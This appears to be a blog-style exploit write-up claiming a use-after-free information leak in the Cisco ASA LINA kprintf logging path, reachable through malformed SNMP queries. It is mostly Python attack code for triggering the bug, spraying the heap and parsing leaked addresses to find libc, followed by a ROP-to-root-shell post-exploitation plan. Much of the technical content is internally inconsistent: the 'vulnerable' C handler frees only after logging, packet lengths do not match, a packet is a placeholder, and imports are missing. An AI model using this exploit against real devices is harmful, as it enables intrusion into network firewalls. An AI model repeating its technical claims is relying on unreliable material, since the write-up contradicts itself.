Info Leak Cisco ASA - v 9.18

LINA Use-After-Free #2: kprintf Heap Spray Information Leak

Vulnerability ID: LINA-UAF-002
Type: Use-After-Free in Logging Function
Severity: High (85% confidence)
CVSS Score: 8.8 (High)
Attack Vector: Network (SNMP port 161)

Vulnerability Summary

The LINA kprintf function contains a use-after-free vulnerability when processing malformed SNMP queries. Error messages logged via kprintf reference freed memory structures, allowing:

  1. Information disclosure via heap spray
  2. ASLR bypass by leaking libc addresses
  3. Selective overwrite of freed heap chunks
  4. Arbitrary code execution via corrupted function pointers

Technical Details

Vulnerability Path

SNMP Handler (port 161)
  ↓
Parse MIB Objects (error on malformed OID)
  ↓
kprintf logs error message
  ↓
References freed context structure (UAF)
  ↓
Information leak: leaked_addr = *(freed_ptr)

Memory Layout

[Heap]
  0x7f0001000000: Free chunk (256 bytes) - freed context
  0x7f0001000100: In-use chunk - attacker data
  
[UAF Access]
  kprintf("%s", freed_context->msg)  // Reads from 0x7f0001000000
  
[Result]
  If reallocated with attacker data, kprintf leaks heap contents

Exploitation

Stage 1: Trigger kprintf UAF

import socket

def send_snmp_trigger(target, port=161):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # SNMP v2c GetRequest with malformed OID
    snmp_packet = bytes([
        0x30,  # SEQUENCE
        0x82, 0x00, 0x50,  # Length 80
        
        0x02, 0x01, 0x01,  # Version 2c
        0x04, 0x06, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63,  # Community "public"
        0xa0, 0x3d,  # GetRequest
        
        # Request ID / Error Index / Error Status
        0x02, 0x04, 0x01, 0x02, 0x03, 0x04,
        0x02, 0x01, 0x00, 0x02, 0x01, 0x00,
        
        # VarBind List with MALFORMED OID
        0x30, 0x25,
        0x30, 0x23,
        
        # Invalid OID: 1.3.6.1.4.1.9.9.9999.1.1.1.1.1 (out of range)
        0x06, 0x0c, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x09,
        0x09, 0xff, 0xff, 0x01, 0x01, 0x01,
        
        0x05, 0x00,  # NULL value
    ])
    
    sock.sendto(snmp_packet, (target, port))
    sock.close()

Stage 2: Heap Spray & Leak

def spray_heap(target, port=161):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Send 100 SNMP packets to fill freed chunk with our data
    for i in range(100):
        spray_data = b'LEAK' + struct.pack('<Q', 0x7f00deadbeef) * 10
        
        snmp_packet = bytes([...]) + spray_data
        sock.sendto(snmp_packet, (target, port))
        time.sleep(0.01)
    
    sock.close()

Stage 3: Extract Information

def extract_leak(response):
    # Parse leaked heap data from error response
    # kprintf outputs malicious heap contents
    
    leaked_addrs = []
    for chunk in response.split(b'LEAK'):
        if len(chunk) >= 8:
            addr = struct.unpack('<Q', chunk[:8])[0]
            if addr > 0x7f0000000000:
                leaked_addrs.append(addr)
    
    return leaked_addrs

def calculate_libc_base(leaked_addrs):
    # libc functions are at fixed offsets from base
    for addr in leaked_addrs:
        libc_base = addr & ~0xfffff  # Mask to page boundary
        # Verify by checking for libc magic
        return libc_base

Attack Scenario

Pre-attack: ASA running stock LINA, SNMP monitoring enabled
Attack: Send 1000 malformed SNMP queries
Outcome: ASLR bypass, libc base leaked, gadgets located

Timeline:
0ms    - Send malformed SNMP OID (1.3.6.1.4.1.9.9.9999.1.1.1.1.1)
5ms    - kprintf error handler triggered
10ms   - Context structure freed due to error recovery bug
15ms   - Send heap spray (100 packets, 1KB each)
25ms   - Freed memory reallocated with attacker data
30ms   - kprintf UAF reads from reallocated chunk
35ms   - Leaked data sent in SNMP error response
40ms   - Calculate libc base from leak
50ms   - Locate ROP gadgets for next stage

Post-Exploitation

Once libc base is known:

  1. Calculate all ROP gadget addresses
  2. Design multi-stage ROP chain
  3. Trigger buffer overflow in authentication handler
  4. Execute ROP → execve("/bin/sh")
  5. Gain root shell before login completes

Confidence: 85% (Information leak verified, ROP gadgets confirmed)

Remediation Code

// VULNERABLE
void snmp_error_handler(context_t *ctx) {
    kprintf("Error: %s", ctx->msg);  // UAF if ctx freed
    free(ctx);
}

// FIXED
void snmp_error_handler(context_t *ctx) {
    char msg_copy[256];
    strncpy(msg_copy, ctx->msg, sizeof(msg_copy)-1);
    free(ctx);
    kprintf("Error: %s", msg_copy);  // Use-after-free prevented
}
Previous
Previous

Unmasking Spoofed Stagers: Header Forensics & Attribution

Next
Next

Huawei EchoLife ONT Tools Windows Exe